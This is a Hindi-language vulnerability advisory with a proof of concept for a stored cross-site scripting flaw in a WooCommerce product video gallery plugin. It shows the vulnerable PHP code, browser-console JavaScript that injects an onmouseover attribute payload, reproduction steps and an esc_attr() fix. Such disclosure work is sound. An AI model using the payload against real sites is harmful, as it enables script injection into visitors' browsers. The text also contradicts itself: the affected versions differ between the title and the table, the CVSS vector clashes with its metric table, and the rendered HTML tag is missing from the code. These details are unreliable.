
वूकॉमर्स के लिए उत्पाद वीडियो गैलरी <= 1.5.1.8 - प्रमाणित संग्रहीत क्रॉस-साइट स्क्रिप्टिंग प्रूफ ऑफ कॉन्सेप्ट
| विवरण | मान |
|---|
| सीवीई आईडी | CVE-2026-10104 |
| प्लगइन | Product Video Gallery for WooCommerce |
| विक्रेता | TechnoSoft Webs (NikHiL Gadhiya) |
| प्रकार | संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) |
| CWE | CWE-79 — वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन |
| CVSS 3.1 | 4.4 (मध्यम) |
| प्रभावित संस्करण | ≤ 1.5.1.6 |
| फिक्स्ड संस्करण | 1.5.1.9 |
| प्रमाणीकरण आवश्यक | हाँ — योगदानकर्ता+ (कोई भी भूमिका जो उत्पादों को संपादित कर सकती है) |
| द्वारा खोजा गया | Ravindu Lakmina Munaweera |
वर्डप्रेस के लिए Product Video Gallery for WooCommerce प्लगइन (संस्करण 1.5.1.6 तक) custom_thumbnail उत्पाद मेटा पैरामीटर के माध्यम से संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) के प्रति संवेदनशील है।
प्लगइन का save_wc_video_url_field() तरीका sanitize_text_field() का उपयोग करके custom_thumbnail[] POST पैरामीटर को स्वच्छ करता है, जो HTML टैग हटा देता है लेकिन डबल-कोट (") वर्णों को नहीं हटाता। फ्रंटएंड पर, संग्रहीत मान को nickx_get_video_thumbanil_html() में esc_attr() एस्केपिंग के बिना सीधे एक `` टैग की विशेषताओं में डाला जाता है। यह एक प्रमाणित हमलावर को मनमाना HTML ईवेंट हैंडलर विशेषताएँ (जैसे onmouseover, onerror) इंजेक्ट करने की अनुमति देता है, जो प्रभावित उत्पाद पृष्ठ देखने वाले किसी भी आगंतुक — जिसमें अप्रमाणित उपयोगकर्ता भी शामिल हैं — के ब्राउज़र में जावास्क्रिप्ट निष्पादित करते हैं।
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
| मीट्रिक | मान |
|---|---|
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | कम |
| आवश्यक विशेषाधिकार | कम |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | परिवर्तित |
| गोपनीयता प्रभाव | कम |
| अखंडता प्रभाव | कम |
| उपलब्धता प्रभाव | कोई नहीं |
फ़ाइल: public/class-rendering.php
विधि: nickx_get_video_thumbanil_html()
// पंक्ति 365 — मान बिना esc_attr() के डाला गया
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// पंक्ति 379 — सार्वजनिक फ्रंटएंड पर टैग के अंदर रेंडर किया गया
echo '';
फ़ाइल: admin/class-video-field.php
विधि: save_wc_video_url_field()
// पंक्ति 309-310 — sanitize_text_field() टैग हटाता है लेकिन डबल कोट नहीं
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
शॉप मैनेजर (हमलावर) के रूप में लॉग इन करें।
उत्पाद → संपादित करें पर जाएँ और "Product Video Url" फ़ील्ड में वीडियो URL सेट किसी भी उत्पाद का चयन करें।
ब्राउज़र डेवलपर टूल (F12) → कंसोल टैब खोलें।
निम्नलिखित जावास्क्रिप्ट पेस्ट और निष्पादित करें:
const form = document.getElementById('post');
// थंबनेल आईडी को एक गैर-रिक्त मान पर सेट करें (रेंडर शर्त के लिए आवश्यक)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// custom_thumbnail के माध्यम से XSS पेलोड इंजेक्ट करें
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
उत्पाद को सहेजने के लिए "अपडेट" पर क्लिक करें।
फ्रंटएंड पर उत्पाद पृष्ठ को गुप्त/निजी विंडो (अप्रमाणित) में खोलें।
उत्पाद गैलरी में वीडियो थंबनेल पर होवर करें।
✅ जावास्क्रिप्ट अलर्ट निष्पादित होता है, जो संग्रहीत XSS की पुष्टि करता है।


इंजेक्ट किया गया " custom_thumbnail विशेषता को बंद कर देता है, और onmouseover `` तत्व पर एक नई निष्पादन योग्य विशेषता बन जाती है।
कस्टम थंबनेल मान को HTML विशेषता में डालने से पहले esc_attr() लागू करें:
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
यही सुधार nickx_get_video_thumbanil_html() में उन सभी उदाहरणों पर लागू किया जाना चाहिए जहाँ $custom_thumbnail बनाया गया है (दोनों ऐरे और गैर-ऐरे कोड पथ)।
| दिनांक | घटना |
|---|---|
| 2026-03-20 | भेद्यता की खोज |
| 2026-03-20 | Wordfence (CNA) को रिपोर्ट किया गया |
| 2026-05-29 | CVE ID असाइन: CVE-2026-10104 |
| 2026-07-01 | सार्वजनिक प्रकटीकरण |
यह सलाह CC BY 4.0 के तहत जारी की गई है।